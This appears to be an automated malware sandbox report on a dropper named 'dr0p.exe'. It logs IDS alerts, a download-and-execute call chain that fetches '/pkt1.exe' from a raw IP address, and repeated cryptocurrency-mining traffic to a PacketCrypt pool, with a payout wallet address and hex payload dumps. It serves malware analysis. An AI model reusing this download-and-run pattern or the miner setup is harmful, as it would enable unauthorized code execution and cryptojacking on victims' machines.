Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837098accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837099accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837099accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837099accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837099accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837099accept: /host: any.ah.pkt.worldtransfer-encoding: chunkedData Raw: 34 30 30 0d 0a 01 49 5c 06 51 7c 8c e1 b4 43 17 1f 6a 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb cc 7e 46 b9 95 c9 90 7a 98 88 ea b3 1d 7b f0 32 5b 7b 16 2b d3 b5 39 f9 a9 16 06 34 de db 29 e2 ee 2b 93 a8 a2 03 e6 60 04 0c 38 bc c7 3d 81 26 c3 7e 8e f8 59 0e 4e 22 58 4f 8f b4 43 ec b2 ea f6 0a 5b cd 6e 12 65 f1 ba 82 24 e8 7c eb d8 eb 94 0f 4d 1b 28 23 13 33 b3 b5 78 70 87 3c 44 ff 0a 82 9e 34 f0 c3 95 8c be 7f 3e bf 3a 78 4f 9c a4 ba d5 cd ba 44 78 7e 10 13 bf cd fe 3c 6c 7d 84 2f 6b e8 44 50 d6 1d 53 cd 92 ac 7e f1 a1 a5 e8 de ed 19 2a d2 5c 80 93 f6 8e 2b b1 89 66 08 b3 07 c6 ca f5 ff 01 81 3a cb 6b a4 e8 83 6e 57 49 a1 08 18 44 b3 25 a0 fd 8b d5 1a cf d8 83 67 80 cb f3 82 e8 2a f4 46 af ac d2 a0 8f 99 1c 32 92 64 8d e4 f1 6e a2 c8 46 1b bb b8 1b b4 1d e6 73 dc fa 6d 98 3a 39 af d1 13 ec e9 cf 1a df b4 8f 6c e4 7e a7 53 d6 be 5a ba b3 68 c9 fc e8 a7 e3 08 b6 e3 b4 ea fe 35 f6 d4 90 62 b8 fd 88 53 7f 18 e5 f5 57 cf 58 21 eb e2 79 14 ef e7 a1 21 53 7b d8 61 d0 c3 87 68 37 3d b4 d7 9f c0 f4 54 20 b8 c8 b2 1b bc dd eb b0 d2 6c e8 62 c5 30 40 35 57 c8 f1 90 43 4c 8d b9 da 3b 8c 21 fb 85 51 07 86 57 8b b5 6b 2d 2f 1f ea 70 3b 3d 01 46 34 c2 c6 74 35 67 fc 9c fd e7 01 17 ac a8 5d b6 4a 4f 93 70 80 c5 a3 1e 87 5f 08 cd 36 dd 49 56 9f a6 3c b3 9b c3 97 3f 07 2d 80 92 cf e9 23 be db 05 e7 26 0b 57 be 4d 3c 73 f7 36 47 f9 6a bd 92 06 26 c5 67 c2 63 84 6d d6 01 15 35 fb 05 d5 34 50 90 7e cb 71 60 43 92 68 be 5c fd 40 76 cf 09 d1 ae 5e 85 88 c1 c9 d1 c5 b2 12 90 92 c9 7f 89 b4 88 b1 ca 67 a3 bb 6e e7 af 73 fc f9 67 ab e3 b7 9e 57 94 76 0b b3 28 b4 37 b2 f7 bd 7f 54 ee c6 32 bd fb 5e 6b 04 e8 7e 80 73 a4 d6 92 c0 b1 be dd 49 cb b7 d7 c7 f3 4c 83 0e 1f 75 e7 3a 09 91 dd c5 fb 15 5c 69 07 dd 0b fe f7 db 85 59 e2 dc 06 b9 4a 6f b0 5a 23 18 59 eb bf 6d c3 3f 1e 9c cf 19 ee 6e b6 9a 03 65 3b 4e 6b a7 9c e4 b3 cc 21 67 71 0f dd 91 19 f4 f4 c1 16 f5 c7 ec 4b cc f0 c7 2d f9 b2 fb e2 3c 65 7d d6 40 7a 7b ff de fe 42 a6 0a 44 70 b9 fe a5 b1 4d 2b 00 f2 7e a5 60 6f 72 2f 77 89 8a 85 f1 58 c1 f1 6a 5a aa 82 5c 7e 86 85 c3 0c 18 9e 58 08 96 3d 18 ac 87 88 00 ec 15 71 3b c7 2b 1d bf 8f eb 52 a1 5a c5 12 c8 6a e5 24 8e f3 f6 07 b0 ea 3b 9d c4 ec 57 51 77 36 95 63 6b 14 b0 07 ab 91 24 db b1 c4 de 07 13 66 00 6c a6 d0 aa 78 45 c2 97 36 7d 9b 3c 69 18 d2 1c c1 2b 95 ad ca 29 82 8a e0 5b c0 60 3f d0 b9 4e 8d bc 15 20 5c 63 e2 68 4a 0f c7 e4 8b 25 6c 80 ac 41 3b a3 ad 1f 82 a2 09 99 91 0b ef 46 70 2e a6 95 76 85 b9 c7 39 44 24 d0 a9 ed cd bb 90 b2 25 73 64 04 10 ae c6 89 6f e3 20 57 68 3b 3a 26 22 0f 52 ea d0 09 5f
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837099accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837099accept: /host: any.ah.pkt.worldtransfer-encoding: chunkedData Raw: 34 30 30 0d 0a 01 54 03 01 55 7c 8c e1 b4 43 17 1f 6a 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 8d 48 9f 04 65 86 bc e8 03 28 e2 fb 6f c4 9c 70 e1 05 42 d9 6c 4c ad 2f 9f 2d b7 f0 66 e7 b6 41 da 59 05 71 8a c0 45 4e 45 c5 6b d0 56 ee 03 77 97 3c bf 36 f9 a1 68 5c 49 3b 03 cc 1f 32 e2 ce 6e 03 72 31 9b ba 07 42 6b 2f ec 12 c7 c5 41 fa b6 2e 76 f7 74 d9 81 df c1 c1 42 8f 30 8e 87 0c 67 33 87 c4 e7 cb 91 28 bf 9d 74 a7 c7 13 9d dd 9f 14 c9 b6 0e f8 79 b7 65 b7 ce da 54 bc cd 64 b2 03 0e 26 3c f2 82 77 64 dc 62 2a 78 d8 a3 0b 37 e9 6a f3 52 85 5a 5d 2b a6 c0 db 79 ac 26 65 88 d3 ba 33 1a d4 0a 82 b3 11 52 f1 a7 5a fe 94 e7 34 3d 9e 3c fb ee c2 8d 85 1d f4 9f 5b db 82 5e 61 dd dd 8a 16 70 ad f1 26 61 fd b9 10 98 53 08 81 58 c2 c3 7c 94 1e f5 88 be a6 8f b7 99 d6 66 b7 dc 0a c3 8d 4f 59 fa c2 da 60 46 11 3b 2a b7 7e 8c 99 20 55 55 05 f0 11 42 6a 84 d8 07 c4 fd 7b ca 3c 70 24 e8 00 6e 6f 6c 5a 13 58 09 32 f3 e9 f8 e7 6b 9a 8e 6e 18 75 e5 71 4d ab d3 1c 97 1d 60 9e 67 bf f2 60 ce 0c 3f 4d c6 89 4f bd d8 16 29 67 f0 38 76 eb 6a d3 32 4c f1 30 e3 0c 46 0c 52 81 b9 f5 8d ba c7 92 44 e1 42 59 6d 11 ee d1 c6 8b 89 c2 40 ef ef d5 e4 a5 06 d5 12 c1 01 62 b1 a0 39 41 15 2d f9 3a 3b 0c 61 27 8f 69 54 b4 14 b2 24 6f bf 94 ca f9 6b 0a a1 72 5d c9 3b d8 70 89 be 9c 8f b1 19 d7 aa cc de 8b 13 a8 7b 50 dc 2a 62 73 5d 14 b5 ab 8c 61 df 89 0e 27 3d a8 76 c3 50 5a 48 fc 2e 5c ce d6 d3 87 1a 40 8b 2c 44 54 c3 36 8a f8 0b 73 5b 99 7f 25 8d 67 04 d1 40 38 69 52 3c 76 36 21 62 53 ba 4e e5 4e 00 0e 8c 78 3e f7 07 67 7d 36 4a 76 e9 b4 d1 0b 9d e9 aa 24 23 21 65 14 f5 3e d6 09 4e cb 09 81 7b 24 96 70 08 98 5a d7 36 85 cb 8e 1a d1 7d 19 f8 d5 6e 25 61 c9 20 a5 08 c1 1a 7d cb f9 f7 9b 7a 1e 69 7e 76 9a 03 0e cc a5 da 15 8f 81 76 48 d7 ae 50 dd 2a 5e 8f ee 8f b1 f1 15 ab 41 19 df 8a 03 b3 cd 58 ba 18 8c e5 0b 4c 0e bc 09 b8 09 44 8b a7 3e 30 29 8a fe 0d 56 99 7c 8f ac 5a a6 20 0c 4f fb f3 2c ad 87 0f 2d fa e3 a7 ed cc 6e a9 ef 3b 85 2f 3a b9 c0 5a a2 e7 00 3b d7 f2 51 14 ac 00 c9 57 74 f0 d3 e2 72 84 86 da 81 1e e9 5f 85 21 6c 3b e0 3e 75 2b 21 40 69 03 b3 51 ba 7f 53 fe 19 9c 5e 66 be 76 be a7 c7 33 1c d2 c0 18 23 15 65 58 9b 9e e4 68 0c 8f 82 0e 76 9f 73 6b a5 b2 5a da 7e fd 54 9f 35 33 ea d6 1a 53 7b e8 c1 4b b3 01 ba 86 92 52 5e ad 60 4f d0 c8 f6 ac 3c ab 60 d1 fb d7 5a 91 e4 c0 0e 45 d4 4a d6 f0 25 29 fa ea e1 cc 3a 81 55 72 6b 0d 30 d0 64 e2 f6 b2 68 69 19 36 75 b8 9c 6d 1e 12 80 e9 f0 3b a2 8d ce 8c 5d 62 30 ee af e3 ad ed b8 5c b5 b5 c7 de 01 d2 a4 1c 99 b6 06 26 15 77 36 b0 6c cf 5b c8 cc 02 3e 15 8d 77 4b 17
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837100accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837100accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837101accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837101accept: /host: any.ah.pkt.worldtransfer-encoding: chunked
Source: global traffic	HTTP traffic detected: POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5ax-pc-sver: 1x-pc-annver: 1x-pc-worknum: 2837101accept: /host: any.ah.pkt.worldtransfer-encoding: chunkedData Raw: 34 30 30 0d 0a 01 e0 76 0b 4d 7c 8c e1 b4 43 17 1f 6c 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9a 3d ef d9 85 4b 63 37 8c cb 76 49 44 df d6 c1 ba ed 72 5b 32 60 30 af 7f 0e 6e e5 06 1b 2c cc 1c 25 ef 7c b9 4e f8 db c5 64 a4 78 19 31 62 40 d4 a5 5a 4b b8 80 c1 79 0a 92 62 d9 07 e5 3f e4 e3 c4 be 86 1a 4c c7 71 6e c0 94 49 eb c3 55 27 15 f9 a9 7d 0c dc 6e bb d7 33 a7 30 39 c5 52 89 c0 86 87 14 29 60 8f 73 7f 78 60 1d e5 84 50 3c e5 6b 87 ed ec cf b3 b0 3b cc d3 fd 72 72 fa 23 85 e6 50 2e 0a c0 74 41 43 3d b8 44 42 ed 47 1e ef 40 db 78 e8 1f 88 cd 04 b5 af aa db e5 8c 29 0d c4 54 77 d5 1a de 67 af f4 e8 cc 7e 28 c5 c9 7f bc 10 68 04 c8 51 c4 7a ef 11 e9 e1 a7 e2 8f 41 38 3f 8e 1f 70 c9 32 0d 39 38 cf ec fe ad 8b 21 21 18 51 85 54 ec d1 a6 5a 48 fd 40 22 30 43 af 94 99 97 71 9e 4d aa 0b b2 1f 9a e4 b6 b8 f0 5b 1c d2 95 a7 22 e1 7c e4 23 df bc fc ee 8d 01 6b c9 22 dc 1f 86 ab cc 91 a1 96 11 97 1e a6 23 b5 9d f1 c6 8c 47 f0 d9 c8 14 d7 00 df 84 66 a7 5c d7 fe df 3c b9 28 4e c1 ac 31 f0 98 d0 93 e7 f1 72 4f 62 1b 7c 17 4e 3a 12 f5 70 81 1b 40 f2 77 14 e3 ac 68 49 d2 0f 46 6f 6e ae f9 e6 2a ab 3f 56 33 cf 58 79 3d 6e 65 f0 a7 97 4b 85 83 d6 dd b9 f1 49 95 0a 57 eb 98 25 38 4d 19 d6 51 cb a0 81 b0 49 82 22 5d 8b 2a 07 2d 85 4b 69 69 f0 e2 90 ec 4e 4d 44 01 ba 74 7b 2a a1 e2 87 d2 ee 37 e4 cc b6 cf 31 53 8e fe 0a fa 4d b2 73 fe 49 99 e5 18 fb 20 a1 b5 60 d6 46 5a f6 f1 ef b0 28 e6 8e 68 08 36 3b 7e 42 2d 63 02 c9 75 82 e6 f0 d5 c0 54 b7 fb f2 85 ca 0b 93 c8 7d 9d 0c b7 14 9a 61 47 d3 9c 8f 1b 45 15 23 d6 3a ae 85 23 e1 73 ef b6 2f ae 2f a0 4c aa a8 21 aa c6 d7 dd b5 75 34 88 83 90 35 23 9e 63 25 3c 16 b2 5e 10 04 ea cc ae 9b c8 c9 af f5 38 03 84 a0 6e 2d b8 22 3d d9 54 dc d4 52 c4 b5 3f e1 a5 f1 0e 6b 35 2d bd 5b 74 40 82 ef 9f ac 7b f3 e5 ed b1 bf 3b 2e 59 85 bf 6a b6 01 82 43 53 2b f4 24 d2 68 f3 cf 61 b4 1c 6f 9d 44 a0 15 a4 d3 cb cd 91 69 b6 c9 8f ad 32 65 fc e7 ab a5 2e 76 ae 68 de fd 01 27 23 83 9f 66 f4 e6 db 3b d3 3a 2f b5 13 6c 4f d7 03 0e 9c 61 89 90 51 17 4f c0 1a 4e 99 56 e3 25 a3 1a 6c 35 d8 1a 09 9e aa 2a ec d4 4d 48 d0 9d 8f 81 35 4d 5c b7 e7 b6 b6 00 8e af 63 93 63 27 cb ce cc 7c e7 79 f3 8d e1 f2 d2 69 59 49 5c 76 51 6c 97 0d 47 c0 61 18 a6 5a 01 bf 73 2e 22 b3 76 25 1d 8c dd bd 0b 9c 3f 85 ea 40 23 a8 79 4d d9 2d 1d ab 7f 9a 5f e7 aa 61 1b 8b ed 43 e8 a2 03 e6 76 9e a1 c4 07 a8 6f 87 61 a0 ab 0c 89 c8 2d 99 a4 df 09 7e be 60 31 ce 2e 5f 3f ac 3e c3 81 26 04 05 c6 95 92 da 90 a9 fa bb d8 3a b9 b2 23 c8 6b 47 5b f6 5a 87 d4 49 2f a7 8e fa dc ca c0 8d 74 f6 b0 a1 ec 23 73 35 69 92

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49730 -> 23.27.51.244:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49730 -> 23.27.51.244:80

Source: global traffic

HTTP traffic detected: GET /pkt1.exe HTTP/1.1User-Agent: Mozilla/5.0Host: 23.27.51.244Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244
Source: unknown	TCP traffic detected without corresponding DNS query: 23.27.51.244

Source: C:\Users\user\Desktop\dr0p.exe

Code function: 0_2_0042006A InternetOpenA,InternetOpenUrlA,SHGetFolderPathA,lstrcat,lstrcat,lstrcat,CreateFileA,InternetReadFile,WriteFile,CloseHandle,CloseHandle,CloseHandle,CloseHandle,ShellExecuteA,exit,

0_2_0042006A

Source: global traffic	HTTP traffic detected: GET /pkt1.exe HTTP/1.1User-Agent: Mozilla/5.0Host: 23.27.51.244Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_c3f3778e708027af885af915189681629fbcf2a9ff03313fea7ea2ad92b84506.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_b1ae361167070a6435260d9eaefe77aa3e312e8cc9a0d0856385b2593eea01ea.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_225c6f00caa485eb2f36d73792c28567c707983b28c7039aa5df69cad10b2130.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_85f750fb46681db25f08bef7b5ae67cd36f3f08f26bd9a6fb3621c0a37cbd517.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_f177a5736d2447351ac7ac124bc0d9e3e05a6cbba1a26c3e280ebe5b547e2542.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_92b572636d948849a7305045efcd9b081e39b2ea9cd7922817abd19555302360.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_e21c206fb56ab02307270f6e5a7a0ada30138fb95f832f7d4b09d83d9cd3a8f7.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_e2dc9e53ccd4df03e9f284677a96b822273ab8d8ddfe152b6fc73971d96aafbb.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_3df2d39c6ee21eea5c9be8ad7194335444e8e9268c4e1a20c9b12f4bff9c7b30.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /master/blkinfo_6cff3f79d5e688936c48ae0cb5ea87e52b2b96d29167b048b193a305fd32119e.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
Source: global traffic	HTTP traffic detected: GET /config.json HTTP/1.1accept: /user-agent: packetcrypt_rs 0.6.0x-pc-sid: 2e7be74dc6404e8eb9ecdc838f8e01b9host: pool.pkt.world
